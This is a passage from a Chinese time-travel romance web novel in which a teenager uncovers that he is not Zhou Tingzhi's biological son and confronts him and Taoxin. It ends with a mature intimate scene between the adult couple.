和周廷之在一起这么久,陶欣多少也知道他的工作内容了,周廷之一贯讲究工作效率,能四十分钟开完的会议绝对不会拖延到一小时,偏偏天眼工程的甲方每次开会都要背稿,把一件事分成五个要素,每个要素里又分别有一二三个重点。 周廷之说这很像上小学的时候,大夏天开运动会,在太阳底下听校长发言,每次感觉要结束了就赶紧鼓掌,然后看校长慢条斯理地喝一口水,润润嗓子,继续往下说,会有一种永远都没有尽头的绝望。 陶欣抿着唇,只回复了他一个加油的表情。 周廷之收到陶欣敷衍的回复,知道女朋友是一番好意,不想打扰自己工作。可周廷之真的很想摸鱼,他现在完全能理解那些在会议上开小差的员工了。 陶欣不理他,他也不甘寂寞,趁着一旁的部长做汇报,争分夺秒地发了个朋友圈。 这次倒不是仅李崇可见。 当然李崇也可见。 【周廷之:色香味俱全[爱心]】 配图自然是刚刚在办公室里拍的那张照片,只是照片里陶欣的皮肤明显更白皙透亮,黑眼圈几乎看不出,唇色透着淡淡的红。 用于冷静的那五分钟,周廷之在洗手间里P图。 看着朋友圈里一个接着一个的点赞,还有那些夸陶欣漂亮,素颜原相机也这么美的留言,周廷之不由自主地勾起嘴角,与有荣焉。 一眨眼,又冒出三条来自同一个人的留言。 【姚雪娜:宝贝好美狠狠mua一口】 【姚雪娜:?】 【姚雪娜:……我真服了,我还以为陶欣小号呢】 陶欣用管理局给的微信号回复姚雪娜:【(づ ̄3 ̄)づ】 明明看见了,对姚雪娜就又亲又抱的,连赞也不给他点一个…… 【周廷之:你生我气了吗?】 【陶欣:说梦话呢?好好干活!】 【陶欣:(╯‵*′)╯︵┻━┻】 周廷之安下心来,注意力终于集中到会议上。他摸鱼这么久,其实也没错过什么重点。 …… 五点准时下班。 周廷之拉开车门,看到副驾驶陶欣的围巾。忘了是什么时候落在车里的,今早他上班开这辆车才看见,急着出门,没送回去。 他车里不止这一件属于陶欣的东西。储物盒里有陶欣的充电宝和口红,扶手箱里有陶欣的相机和护手霜,后排的冰箱里有陶欣爱喝的气泡水和草莓牛奶。 这些东西是他生命中遗失的拼图,慢慢将他填满。 回到家,琴姨正在准备晚饭,煲了陶欣很喜欢喝的海鲜粥。琴姨知道陶欣最近都不在家,只是习惯做这些菜式了。 周廷之上了楼,录了几段小猫的视频发给陶欣。 陶欣大概在上课,一时没有回复。 周廷之打开猫房的门,放两个小家伙去楼下玩。 刚走到二楼转角,遇到才从外边回来的周念。 周廷之一看周念就知道他心里有事,作为父亲,自然要关心:“你去哪了?” 周念说:“跟同学去网吧打游戏了。” “家里有电脑为什么去网吧打游戏?” “电竞网吧,可以五黑那种。” 周念很明显在撒谎,脸色也不太好。周廷之不得不怀疑他在外边闯了祸:“下来,我们聊聊。” 周念抿了下唇,跟他走到客厅。 周廷之不是传统封建的家长,没有那种大家长式的威严,他坐下周念也就坐下了,两个人从来都是平等对话。 “你这两天都是出去打游戏了?” “最近有比赛。” “什么比赛?” “……就是网吧的小比赛。” 周念很不擅长说谎,比陶欣更不擅长,陶欣起码能做到理不直气也壮,可他说谎的时候甚至不敢看对方的眼睛。 都说性格七分是天生的,周廷之偶尔会想周念到底遗传了谁。 看他这副模样,周廷之也不绕弯子了:“你没有沾上黄/赌/毒吧?” 周念无语了一瞬,反驳:“我没有,我沾什么黄/赌/毒啊。” 这反应倒是不像说谎。 周廷之盯着他:“我是提醒你,无论如何,这三样绝对不可以碰。” “我知道……我又不傻。” “万一遇见坏人呢。” “……” “有自己解决不了的问题要第一时间跟我说。” “嗯……” 见周念还是没有什么话要说,周廷之摆摆手,示意他可以回房间了。 周念上了楼,关紧房门,轻舒了口气。 翌日一早,周念躲在窗帘后,看着周廷之的车驶出大门,换了正装下楼。 琴姨看到他这副打扮,笑着问:“收拾这么精神,去哪呀?” 周念一边弯腰穿皮鞋一边说:“我朋友结婚,我参加婚礼去。” “啊?多大啊就结婚?” “打游戏认识的朋友,不跟你说了,我要来不及了。” 周念穿上羽绒服,匆匆出门,车已经等在小区外边。 “周念,这。” 周念看到张楠招手,小跑过去:“我要的东西都准备好了吗?” 张楠:“我办事你放心,没想到你家居然住这啊,这一套别墅得上亿吧?” 周念:“不知道,我爸好多年前买的。” 两人坐上车,周念接过张楠事先准备好的記者证,翻 来覆去看了看,确定没有什么问题,挂在了脖子上,又低头去看资料。 张楠开着车,见他这么认真,笑道:“要不是你家这么有钱,我真怀疑你要诈骗人家老爷子。” 周念凉凉地说:“我家的钱都是诈骗来的,你小心点。” “拉倒吧,别人不诈骗你就不错了。” “你的意思是我很好骗?” 张楠笑笑,不说话了。 他和周念算不上朋友,只是周念之前帮过他两次忙,属于慷慨解囊,这次有事求到他身上,他也得两肋插刀。 到了敬老院,周念去门卫处填访客登记。 门卫看了眼他胸前的记者证,说:“哦,你就是昨天预约要来采访林教授那个记者?” 周念点点头:“对,是我。” 这家敬老院的前身是离职干部休养所,里面大部分老人都是一些退休的干部,儿女要么工作忙,要么去了国外,日子过得平静又乏味,冷不丁来个周念这样漂漂亮亮的年轻人,吸引了不少目光。 周念被门卫领着一路进了会客室。 林教授早在等他,七十多岁的老人,白发苍苍,身子骨倒是很硬朗,见周念进来,一下子就站起身了,大概是想对这个年轻人热情一些,握一握他的手,可看清楚周念的脸,却一愣神,下意识推了推眼镜:“欸,你……” 周念笑着说:“林教授您好,我姓赵,赵楠,是传媒学院的大四学生,目前在电视台实习,昨天在电话里可能说的不是很清楚,是这样的,我的毕设作品是一部纪录片,标题叫当年风华正茂,主要是想了解一下在各行各业都很有名望的那些前辈的过往。” “哦……”林教授还看着他的脸。 “这个纪录片只是给学校内部的老师观看,不知道您愿不愿意配合我采访拍摄。” “没问题,我知道你们现在的孩子想毕业都不容易。” 林教授笑一笑,还是忍不住说:“不过你长得真像我以前一个学生。” 周念玩笑道:“像我这么帅的可不多。” “他也帅着呢,你在网上应该都能搜到照片,是我们学校的杰出校友。” “是吗,叫什么名字,我搜一搜。” “周廷之。” 网上自然有周廷之的照片,不过都是很多年前的了。 “单看照片还真是挺像的。”周念笑笑:“我赌他大学四年都是单身,算命的说我这种面相,命里注定要上了年纪才能找到女朋友,结果我真就大学四年都没谈过恋爱。” “他倒是早早就有女朋友了,那么郎才女貌,可惜啊……” “可惜什么?” “两个人出去旅行,女孩子在山里出了事……”过去的事,林教授回忆起来还是很唏嘘,不由多说几句:“出事之后他很长时间都没来学校,回来之后也像变了个人似的,本来很开朗上进一个孩子,每天低着头一声都不吭,我当时还真担心他从此就这么一蹶不振。” “他肯定很爱他女朋友。” “是啊,后来那两三年,整个学校没有一个人在他面前提这件事,都怕刺激到他。” 林教授说到这里,回过神:“哎,都扯哪去了。” “没关系,这个故事,很动人……他女朋友也是您的学生吗?” “不,是隔壁舞蹈学院的,要么说郎才女貌,舞蹈学院那一届的校花呢……” 林教授没有说那个女孩的名字,或许是没有契机提起,又或许是过去太多年,他已经忘记了。 可无论如何,都不会是摆在周念床头柜上,那张照片里的人。 在山里出了事,舞蹈学院的校花,十八年前,陶欣…… 这一切离奇的故事,都和他妈妈没有任何关系。 那他又是从哪里冒出来的? 其实答案已经近在眼前。 周念压制着杂乱的思绪,勉强做完了采访。 离开敬老院时,收到了堂叔周廷军发来的微信,向他借钱。 【周念:借你可以。】 【周念:廷谦是谁?】 第65章 第65章对于李崇珍藏的旧照片,…… 周念和自己的堂叔周廷军约在了一家饭店见面,周念去的时候,堂叔已经点了一桌子菜,正吃着饭,喝着酒,很惬意的样子。 周廷军是周念三爷爷的小儿子,年纪和周廷之差不多大,周念还记得自己小时候,他每次来家里,總要带走一大堆东西。爷爷奶奶常说周廷军是周家最没出息的一个孩子。 而最有出息的,自然是周廷之。 “军叔。”周念打了声招呼,坐下来。 周廷军看看他,抿了一口辛辣的白酒,眼神里流露出若有似无得轻蔑,再不是三天前见到他时那副极尽热情的嘴脸。 “我说你这大过年的,怎么这么有空,还跑回老家去,原来是为这个。” 周廷军口中的老家,是周家在乡下的祖宅,并不值什么钱,到周廷之这一辈条件都好了,家家户户都在市区县城买了房,早就搬离祖宅,只剩下周廷军在那住着。 周念过去的时候,祖宅外边的大白墙上被人用红油漆涂满了欠债还钱,据说周廷军在外边欠了一大笔赌债,老婆好多年前就带着孩子跑了,至今了无音讯,至于兄弟姐妹,更是都搬到外地,不与他联系。 周念打心眼里看不起周廷军这种人,深觉婶婶带着儿子离开是明智之举,不然他那个弟弟一准要被周廷军带坏了。 不过越是这种人,越要客气些。 “军叔,我知道你最近遇到了点困難,这是两万块钱,你先拿去应应急。”周念将两摞现金从书包里拿出来,放在转桌上。 “就两万?” “我只有这些,军叔,你知道的,我爸最不喜欢人家赌博,惊动了他就连两块都没有了。” 周廷之近些年虽不大与家里这些亲戚走动,但周念那些哥哥姐姐,无论是出国留学,还是結婚买房,周廷之都没少帮衬,几乎是一个人带领着整个家族跨越了工人阶级,所以即便他很年轻,在家族里的话语权也是首屈一指的。 只要周廷之开口,周廷军连祖宅都没得住。 周廷军闻言冷笑一声:“好啊,现在就连你也能拿他周廷之来压我了。” 周念还是很客气:“军叔,我没这个意思。” 周廷军看向那两万块现金,手放在转桌上,正要推动,却被另一端的周念按住。 “……”周廷军与周念对视,收回手,一口饮尽杯子里的白酒,舒了口气问:“你从哪听说的有廷謙这么个人?” “他是谁?” “这个,说起来可长了。” 周念摘了表,放在那两万块现金旁边:“军叔,您慢慢说。” 周念这个举动,的确像是拿不出什么钱的样子。 到底不是亲生的啊。周廷军这么想着,终于开了口:“周廷謙是我们这一辈的大哥……” 周念的大爷爷当年最早結婚,一连生了两个女儿,均不受重男轻女的太爷爷太奶奶喜欢,没多久,周念的爷爷奶奶結了婚,生下的第一个孩子就是周廷謙。 周廷謙身为长孙,生得漂亮,人也机灵,又因胎里不足从小体弱多病,在家里非常的受宠,即便后来又添了几个男孩,也没人能越过他去,还因为他是大哥,弟弟都要对他唯命是从,这更养成了他跋扈的性格。 周廷军记事的时候,周廷谦已经上了高中,他不喜欢上学,又總跟人打架,高二就被学校劝退了,说是回家来帮衬父母做小买卖,实际上整天不务正业,游手好闲,警局一次一次进,家里人一次一次花钱保他出来。 如此浪荡到快三十岁,女朋友换了一个又一个的周廷谦终于决定结婚了,女方还是当地一个大汽修厂老板的女儿,家境殷实,陪嫁六万,外加一辆宝马。 難说周廷谦是不是为了那辆宝马才结的婚,總之婚后他常开着那 辆车四处招摇,一副公子哥气派,偶尔也能投机取巧弄一笔钱,生活上大体还是靠着父母。 只不过多了妻子一家的帮衬,日子较比婚前过得更滋润。 那时候人人都说周廷谦命好,是一辈子十指不沾阳春水的富贵命。 可陪嫁一辆宝马的女人,是汽修厂老板的女儿。 2002年初,一场车祸,三条人命,这个世界上关于周廷谦的一切都被抹去了,只剩下一个周念。 周廷军的故事里,一个字都没有提到和他年纪相仿,人生却截然不同的周廷之。 他只说周廷谦,哪怕醉的不省人事了,也只说周廷谦。含含糊糊,骂骂咧咧:“他妈的,周廷谦又是个什么好东西,凭什么他就是,有本事,我就是没出息!” 周廷谦死的那么不堪,在一些人看来,却是情人妻子两个女人为他而死,每每提起,總是要拿他讥讽一番老婆孩子都跟人跑了的周廷军。 周念看着醉成一滩烂泥的周廷军,缓缓站起身。 他离开了饭店,却没有走远,就在不远处街边的长椅上坐着。 过两天就是正月十五,到处都在卖元宵,满大街人来人往,偶尔一阵冷风,还算和煦的阳光,在周念眼里就像掉帧的黑白电影。 他也不知道自己此刻在想什么,脑子里一片空白,四肢渐渐冰冷,麻木。 直到身体传递痛意,周念才慢慢回过神,看着这个并没有任何变化的世界,觉得有些荒诞。 这一刻周念才意识到,他的成长过程,的确受到了所有人的保护,被教育的还不错,以至于故事里的每个人,都让他感到无比荒诞。 尤其是那个怀胎八月,因为丈夫出轨选择同归于尽的女人。 当然,莫名其妙做了十八年鳏夫的周廷之也不遑多让。 以周廷之的性格,其实不该做这种事。 周念想,或许是时机太巧,那时候的周廷之,大概无所谓多一个儿子,要是陶欣一直都好好的在他身边,又或者换做现在,他绝对不会答应这种无理荒唐,甚至违背人伦的請求。 人生还真是世事无常,大肠包小肠。 周念仰起头,轻叹一口气。 他当初嫌赵瑞雪的爹品行不端,配不上他的时候,打死都不会想到自己有这么一个硬核的生父。 要是小赵董一家知道他不是周廷之亲生的,大概也会觉得庆幸吧, 想到这里,周念后知后觉,難怪爷爷奶奶在世的时候总嘱咐他,以后有了弟弟妹妹,不管什么事都不要和弟弟妹妹争。 真相比想象中更不好接受。 不过知道真相后,周念心里忽然踏实多了,那种从小到大一直伴随他的,摇摇欲坠的感觉,终于消失,他落到地上,不是摔下来的,而是自己走下来的,没有想象中那么可怕,那么疼。 因为他比任何人都清楚,他的家人,都不愿意他受伤害。 周念拿出手机,用通红的、冻僵了的手指缓慢输入。 …… 周廷之收到周念发来的消息,有些意外。 工作日的下午三点,周念从来没有在这个时间联系过他。 “你看什么呢?”手机里传来陶欣的声音。 “周念,问我什么时候下班。”周廷之犹豫了一下说:“他这几天有点奇怪,感觉心事重重的。” “他一天到晚脑子里除了游戏就是游戏,能有什么心事?”陶欣凑到摄像头前八卦:“会不会是谈恋爱了?” “谈恋爱会是那种状态?” “什么状态?” “嗯……像在外边欠了赌债。” “很难说啊,你儿子在这方面和正常人不太一样,我晓得。” 周廷之又收到周念的回复,蹙了蹙眉:“他问你什么时候回去。” 陶欣离家前一晚,说是要去大哥家住一段时间。 “我?”陶欣也感觉到异样:“问我做什么,总不会是想我了吧?” 周廷之不知道,他对周念算是了解,可隔着好几个代沟,绝大多数时候都摸不清周念的脑回路,只好回复:【大概出了正月回来,怎么了?】 【周念:有话想和你们说】 【周念:关于她的事,关于我的事】 【周念:我都知道了】 “周廷之?他说什么了?你怎么这个表情啊。” “……什么表情?” 陶欣笑了笑:“像在外边欠了赌债。” 周廷之倒不太能笑得出来:“欣欣……” “嗯?” “我截图发给你了。” 陶欣退出视频,返回聊天界面,看到周廷之发来的聊天记录,不由一怔,下意识问:“我的什么事?” “也许……我也不确定。” “那,我要联系陳平嗎?” 周廷之犹豫片刻说:“我先和他单独聊聊,如果需要的话,再联系陳平,这样比较稳妥。” 周念发来位置,离公司不远,周廷之本想约他在公司附近的咖啡厅见面,可仔细想了想,还是直接叫他到公司来了。 这是周念第一次来华视的新辦公大楼,虽然小十年过去,已经不算新了。 华视自家的辦公楼,安防系统都是最高级的,周念扫了一下周廷之发来的条形码,按下十五楼按钮。 电梯缓慢上行,到十二楼的时候停下了,进来两个穿西装的女人,看他一眼,又看向电梯按键面板。 然后又看他一眼。 三个人都是到十五楼。 电梯门打开,周廷之站在电梯口。两个女人和他打招呼,唤了一声“周总”,他点头示意,看向站在里面的周念。 周念看着他,没说话。 不管在微信里怎么直来直去,这样面对面,还是会有几分天然的胆怯。 “跟我过来吧。” “嗯……” 周念出了电梯,跟着周廷之进了辦公室。 两个人身高差不多,长相有七分相似,一前一后走进去,连走路姿势都有那么点相像,任谁看来都是父子。 见办公室的门关闭,两个秘书相互对视一眼,即便没有发出声音,也从对方的口型中听到一句过于震惊时才会发出的音效。 【啊啊啊啊啊啊啊啊啊咱少爷来公司了!!!!!】 【ztz怎么回事!!!!就不能送咱少爷进演艺圈嗎!!!!】 【啥时候来的?大厅没人看见嗎?】 【呃呃呃前台刚才在簽收家人们的快递】 【帅哥?!真假?!】 【我就这么说吧,BJD青春男大,上选秀节目包c位出道】 【????他什么时候走,我马上去蹲守】 【家人们稍安勿躁,不要倾巢而出,你们忘了咱安保室有人脉嗎,我去調电梯监控】 【二号梯,速調】 【[图片][图片]】 【真不得了啊,我感觉我们现在特别像某种训练有素的组织】 【芥末帅!!】 【啧啧,还得是咱们hs的监控探头,拍的真清楚】 【我信ztz年轻的时候是华大第一校草了】 【↑现在也是】 【懂不懂历史第一的含金量,ztz杰出校友的牌子就挂在我们专业课教室外的走廊上,当初我们每天上课前都得路过看一眼,你们以为公司里为什么那么多ztz的梦女?我那届毕业的时候,几乎所有留在本地的同学都最先往hs投了简历】 【我承认,ztz是我选择hs的理由,找老板这玩意就跟找老公一样,找 个帅哥,哪怕他是个傻屌,看看那张脸也就不生气了嘿嘿嘿】 【我突然想到一个问题,ztz和小老板娘现在这么如胶似漆,结婚明摆着就是早晚的事,结了婚肯定得要孩子,哇靠咱们hs这一亩三分地到时候该不会上演豪门争家产的剧情吧?】 匿名群里就这个问题掰扯了半天,忽然又有人发:【什么情况啊,小老板娘来了,还带了几个人,看着很不寻常啊】 陶欣独立生活期间,身边一直有管理局的人,收到周廷之的消息,便直接搭着管理局的车赶到公司,刚刚巧在楼下遇到陳平。 对于周念意外得知时空裂隙这件事,陳平并没有责怪陶欣不够谨慎,正如陶欣所说,谁又不是受过专业训练的特工,怎么可能时刻保持警惕,何况同住在一个屋檐下,朝夕相处,难免会有疏忽大意的时候。 按理说周念身为监护人的唯一亲属,完全可以一开始就告知他实情,提早簽署保密协议。 不过周念情况特殊,向他表明周廷之和陶欣之间的关系,就等于揭穿他身世的秘密,这一点是周廷之和陶欣都不希望看到的,所以陈平并没有特意提及。 这会看到陶欣,也只是说:“以后当心点,下不为例。” 陶欣垂头丧气的,有点懊恼:“我真不知道怎么回事……” 陈平看着她,一如看自己的女儿,知道她很难和周廷之分开,此刻心里还有些暗暗庆幸,为周念知道真相,能主动找周廷之摊牌。可以想见,陶欣日后的生活会省去许多困扰。 陈平说:“好了,先上去吧。” 周念年纪小,签署保密协议的流程有些复杂,要找一个好说话的地方,没有哪里比周廷之的办公室更合适。 一行人上了楼,周廷之照旧等在电梯口,与陈平见面,也是照旧寒暄。 进到办公室,陶欣看到坐在沙发上的周念,走过去问他:“你怎么知道的?” 周念一抿嘴,还那副劲劲的样子:“不告诉你。” 陶欣看向周廷之,周廷之朝她招招手,两人走到办公室的另一边,陈平等人则向周念做关于保密协议的一些说明。 “他怎么知道的?”陶欣压低声音问。 “臭小子,自己去调查的,我说他最近天天往外跑,怎么看怎么不对劲。”周廷之说着,笑了一声。 陶欣诧异:“你还笑得出来呢。” 周廷之嘴角微弯:“挺好的,这证明他有脑子,你不是一直担心他这里有问题吗。” “看来你们两个聊的不错。” “嗯,是不错。” 周廷之说:“你知道他为什么第一时间来找我摊牌吗?” 陶欣看一眼周念:“你让我猜他的心思,太为难我了吧。” 周廷之笑笑:“他叫我跟外人把事情说清楚,不想你做他后妈,也不想外人觉得,我是年纪轻轻就丧偶的鳏夫,嫌我配不上你。” 周廷之一板一眼的复述,并没有增添任何煽情的内容,陶欣几乎可以想象到周念别别扭扭的语气。 可她知道周念用心是好的,宁愿旁人对他的出身指指点点,也要拨乱反正,整理好这段关系。 “那你怎么想?”陶欣问。 “我……”周廷之轻叹了口气:“说老实话,心情有点复杂。” “可以理解。” 当儿子养了十八年,就是小猫小狗,感情也该是非比寻常的深厚了。 周廷之虽然为周念得知真相后的态度和举措感到欣慰,但不可避免的也会感到失落,这其中的滋味,只有他自己清楚,就算是陶欣,也只是能理解他那份复杂的心情。 “他考虑的很清楚了,还说现在这种情况,对他妈妈,对我,对你……对我们未来的孩子,都不好。” “……奇怪,他怎么突然长心了。” “小鸟总要离巢,人总是要长大的。” “诶呀,你这是什么空巢老人的口吻。” 陶欣是在开玩笑,缓和周廷之低落的情绪,可“空巢老人”这四个字,落在周廷之耳朵里却像惊雷一样。 他知道自己是过于敏感,忍耐着没有看向陶欣,若无其事的转移话题:“不管怎么说,以后你们两个相处起来,总归少一层矛盾。” “是吗?我看他还是那副样子。” “他忽然换一个态度,你恐怕要更别扭吧?” “那倒是……” 两个人说悄悄话的功夫,那边的保密协议已经签署完毕了,小曼做了记录,收拾好文件,余光看向角落里的周廷之和陶欣,转过头对陈平说:“局长,今天这种情况,是不是应该给他们点时间好好沟通一下。” 陈平老奸巨猾的,怎么会不知道小曼和陶欣相交甚密,说这话是别有用心,可陈平并不在意,他很乐意看到陶欣身边有这种出自真心的交情。 更何况,确实应该好好沟通一下。 陈平临走前给陶欣定了门禁:“晚上八点,准时回去,晚一分钟考核期就延长一天,听见没有。” 陶欣再三保证,绝对准时,心里已经打定主意七点五十九踏进家门。 陈平一行人离开后,办公室里就剩下周念周廷之陶欣三人,气氛莫名有几分尴尬。 到底周廷之先开口打破僵局:“你们俩怎么都不说话?这么矜持,我有点不习惯。” 陶欣撕开茶几上的草莓夹心饼干,看着周念,咬一口说:“你好端端的怎么想起来就调查我?” 周念:“我怕我说了你又不高兴。” 陶欣:“好啊!你是不是偷听我跟人打电话了?” 周念:“……最早产生怀疑,是因为李乐泉,在他小叔那看到了你的照片。” 陶欣:“……” 周廷之目光微沉:“李乐泉知道这件事吗?” “他不知道,他怎么会想到这上面,就单纯以为是撞脸。” “什么样的照片?” “好像,就是以前那种写真照。” “合照吗?李乐泉一定发给你了,拿来我看看。” 陶欣站起身,双手晃来晃去,有点刻意的佯装无事:“哎呀,我们去吃饭吧,我好饿啊,这饼干也太难吃了。” 周廷之并不理她,仍盯着周念。 周念抵不住来自周廷之的血脉压制,从口袋里拿出手机。 陶欣眼疾手快,一把夺过来:“不是,就非得看吗,谁还没有点黑历史呢,你们知不知道当人家的面看人家的黑历史,这叫公开处刑啊,我也是要面子的好吗。” 周廷之微笑:“你可以先出去躲一躲,这样就不算当面看了。” “……那我走了,我去吃饭。”陶欣说完,非常自然的将手机装进自己的口袋,拎起羽绒服出了办公室。 周念微怔,忙起身追上去:“欸,我手机。” 对于李崇珍藏的旧照片,周廷之原本并没有那么好奇,只是想借此消除尴尬的气氛。 可陶欣这么避之不及,他倒真想看看到底是什么样的照片了。 周廷之拿起大衣,也跟了出去。 陶欣正在电梯口求周念赶紧把照片找出来删掉,见周廷之来了,立刻又把手机收好。 周廷之淡淡地说:“你知不知道有个成语叫做贼心虚。” “你忘了吗,我是在国外长大的国外人,我中文不好。” “拿来,我就看看,保证不生气,我们早说好不提这事了。” “那你还看什么啊,不是给自己添堵吗。” “我就想看看能多堵。” 周念站在他们俩中间,能明显感觉到这俩人是在打情骂俏。忽然想起,在此之前,不管是出去玩还是在家里,他在场的时候,周廷之顾忌着他,似乎很少像这样和陶欣说话。 第66章 第66章跨越时间带来的年龄错位…… 三个人一起离开公司,去附近一家环境幽静的中式餐厅吃饭,包间雅致,绿植环绕,内有微风与潺潺流水,模拟出在夏季竹林中用餐的氛围。 菜品也很符合餐厅的调性,高级的白瓷盘,里面装着那么一点春夏之际的绿意盎然。 陶欣用勺子搅了搅盘子里绿了吧唧黏黏糊糊的液体,一脸嫌弃的对周廷之说:“这什么东西啊,给你吃吧,我不要吃。” 周念看了眼菜单上的用料:“这两个字念什么,我不认识,草字头底下加个竘,草字头底下加个弱。” “蒟蒻。”周廷之拿过陶欣的餐盘说:“就是魔芋。” “哇,可以呀你,不过这个菜单就是故意叫我不知道是在吃什么的吧,这个茄莲是什么?” “你搜搜。” 陶欣拿出手机,搜索半天,忍不住笑了:“是苤菜根啊,我小时 候我们家阿姨总用苤菜根腌咸菜。“她说完抬头看了一眼周念,不禁感慨:“这感觉真好啊。” “什么啊……” “她的意思是她终于可以说自己的事了。” “哎,你根本不明白我之前憋的多難受,好几次话都到嗓子眼了,不得不咽回去。” 知道陶欣不想吃这家餐厅的酱汁,周廷之把主菜里的澳龙单独夹到盘子里给她,陶欣也将碗里那一小堆浸了酱汁的蟹肉推过去。 周念忍不住说:“你不如回家吃清蒸,立省几百块。” “你爱吃都给你呀。”陶欣把那盘缺失了澳龙的主菜递给他:“把盘子都舔干净,这样我们就吃回本了。” 盘子里还剩了点混着汤汁的青豆,周念一勺子舀起来眼睛都不眨一下的都吃了。 陶欣放下餐具,很配合的鼓掌:“可以可以,算你厉害。” 三个人这样吃着饭,都没提关于周念身世的事。事实上不论是儿子还是侄子,周念都是周廷之现下唯一的亲人,关系并不会因为外界身份的变化就有什么改变。 而内部,也诚如周廷之所说,周念和陶欣相处起来少了一层天然的矛盾。在此之前,虽然周念并不排斥陶欣,但要真正接纳这个人成为自己的家人,不免会想到为了生下自己而難产早亡的母亲,心中便会有一种说不出的愧疚和酸涩。 现如今真相大白,不仅陶欣自在多了,周念也终于可以长舒一口气,期待起家里能有一些新变化。 不紧不慢地吃过甜品,已经是下午六点,北方的冬天,六点入夜,离开餐厅时最后一抹残阳也消失殆尽,沿路的车流如光河,广场上人群如潮水。 天气冷,并不影响大家在冬季的夜晚散步遛弯,有老夫妻,有年轻情侣,有母女,也有一家三口。 像他们三个这样的组合是极其少见的,长相相似,年龄似乎并没有差太多,可明显不是兄弟俩的两个男人,以及走在中间,身体偏向年长者的女孩。 一走一过的路人乍一看根本看不出来他们三个会是什么关系,偏偏三个人在一起从来都很受瞩目,只是在路邊等车的几分钟,就收到了不知多少探究的目光。 周念也习惯了,看了眼手机,见专车定位距离他只剩几十米,抬头环顾,看见了停靠在不远处打着双闪的专车,便转过身说:“那我先回家了。” 陶欣挽着周廷之的手臂,朝他挥挥手:“拜拜。” 周念笑了笑,也挥挥手:“祝你考核顺利通过。” “可恶啊!你果然偷听我打电话!”陶欣反应过来的时候周念已经一溜烟的上了车。 “哼。”陶欣握紧周廷之的手,转头看他:“隔墙有耳,古人诚不欺我。” 周廷之也握了握她的手:“我们也走吧,回公司取车。” 华视平时都是不加班的,五点钟大部分员工都能准时下班,到六点左右停车场就没什么人了。 陶欣坐进副驾,正要回身系安全带,就见周廷之俯过身来,将副驾座椅调至最后端。 “干嘛呀?不是要送我回去嗎?”陶欣明知故问。 “现在是晚高峰,一路堵车。”周廷之放下座椅靠背,抱住她,低头吻她,而后又抬起头说:“七点出发来得及嗎?” “差不多吧……不过你们这监控不是很清楚嗎?” “嗯,很清楚,我动作轻一点。” 陶欣温柔地捧着他的脸,语气很像和小孩子说话:“你那天在办公室忍坏了是不是?” 周廷之眸光微动,埋进她颈窝,在她耳邊轻声说:“……结束这两天不是很想要?” 温热的呼吸扑在耳垂上,像羽毛拂过,有点痒,陶欣不自觉拱了一下腰,指尖蹭进周廷之的发间。 周廷之感觉到她的动作,笑了一声,手掌抵着座椅靠背,微微撑起身,因为对她的身体足够了解,所以用和她一样的语气说:“已经湿了是不是?” 车内光线昏暗,陶欣雪白的皮肤仿佛笼罩着一层水光,微微泛着红,看他的眼神充斥着最直白的渴望,一瞬引燃他的欲/望。 此刻,周廷之完完全全能够理解,陶欣为什么想要在这种时候拍照。 他不能拍下来,只能将这一幕永远保留在记忆中。 这是他灵魂契合,身体同样契合的爱人,能使她满足,快乐,他就会很幸福。 周廷之吻她,眉眼,唇瓣,脖颈,一点点向下。 陶欣忽然并拢腿,垂眸看着周廷之。 “怎么了?” “我要和你一起……” 湿漉的吻落在膝盖上,留下浅淡齿痕。 周廷之看向她:“今天就算了,没有口香糖,你在排卵期,这时候很危险。” 口香糖是周廷之和陶欣之间的小暗号。他们俩刚谈恋爱那会,还都懵懵懂懂的,很内敛害羞,去买计生用品都是选没有什么人的小超市,手牵着手一起去收银台,陶欣拿口香糖,周廷之拿“小雨伞”。 甚至当时“小雨伞”这种含蓄的称呼两个人也羞于启齿,一直用口香糖代替。 直到现在周廷之和陶欣都还保留着从前的习惯。 “没关系呀,如果怀孕就生下来……啊,你干嘛咬我?” “你说呢?生孩子这种事说的这么草率?谁教你的?” “我哪有草率,难道你不想要个小孩嗎?” “……不是一回事,就算考虑要孩子,也得在我们結婚之后,你明白吗?” “我们俩到底谁是从十八年前来的?我什么都不怕,也不想考虑那么多,不能只活在当下吗?想做就做,想身寸进来就……” 周廷之受不了陶欣说这种孩子气的话,捂住她的嘴巴:“你最好是在跟我开玩笑。” 看出周廷之是真的生气了,陶欣弯了弯眼睛,压下他的手腕:“意志力这么坚定啊哥哥,我要是你肯定都忍不住了。” “……”周廷之冷着脸看她,方才耳鬓厮磨的暧昧一扫而空。 “好啦,我错了行不行。”陶欣在他手臂之间转过身,抓起自己的衣摆,双腿并的更紧,几乎是跪在座椅上,微微偏过头:“这样可以吗。” 陶欣绝对想不到她这个姿势对一个男人来说意味着什么。 周廷之是意志力坚定,但他不是圣人。 **夹杂着怒气,像一道鞭从高处挥下,伴随着脆响,叫青涩的蜜桃霎时染上一片红晕,更显饱满多汁。 陶欣颤了一下,不吭声,因为知道自己玩笑开得很过分,也知道这种程度,对周廷之而言已经是气极之下的反应。 而陶欣适时的乖巧很快熄灭了周廷之的怒火,余烬化作悔意,温柔安抚被迫成熟的桃子。 “如果你考虑清楚了,给我一个信号。” “什么信号?” “向你求婚的信号。” “笨蛋,求婚还要我暗示?” 周廷之伏在她肩上,轻轻喘息:“我怕自己会错意……我不希望你说我愿意的时候,心里觉得勉强……” “周廷之……” “嗯?” “其实我刚才也不完全是在开玩笑。” “……” “你觉得我会是一个好妈妈吗?” “怀孕,生产,比你想象中更辛苦,有了孩子,你的人生就一定不再是完全自由的,母性会迫使你放弃很多东西,绝大多數时间,你都不再是陶欣,而是孩子的妈妈。” 周廷之握着陶欣的手,他了解自己的爱人,是善良又负责的好女孩,一旦有了孩子,绝不会只为自己舒服,把孩子丢给月嫂保姆照料。 她会努力做一个好妈妈,爱自己的孩子,陪伴,呵护,教育,塑造出和她一样健全的人格。 即便代价是割舍掉一部分属于陶欣的人生。 “你还太小了,过两年再说吧。”周廷之试图轻描淡写的結束这个话题。 “哼。”陶欣坐起身,一邊整理自己的衣服一邊气鼓鼓地说:“我还不是为你打算,好啊,反正你也要去冻精,那就等我三十岁再生,等孩子上小学,开运动会,你……” 意识到后面的话有些伤人,陶欣停住,可眼眸却一瞬间湿润了,看向车窗外昏暗的停车场,淚水一颗一颗掉下来。 她凭借自己童年的经历,想象到那时的场景。 她爸爸就是老来得女,陪她去开运动会,拼尽全力也跑不过那些年纪轻轻的父亲,她从小争强好胜,拿不到第一自然失落,她爸爸就抱着她,不知道该怎么安慰。 年龄带来的无力感,被误认为是爷爷时的 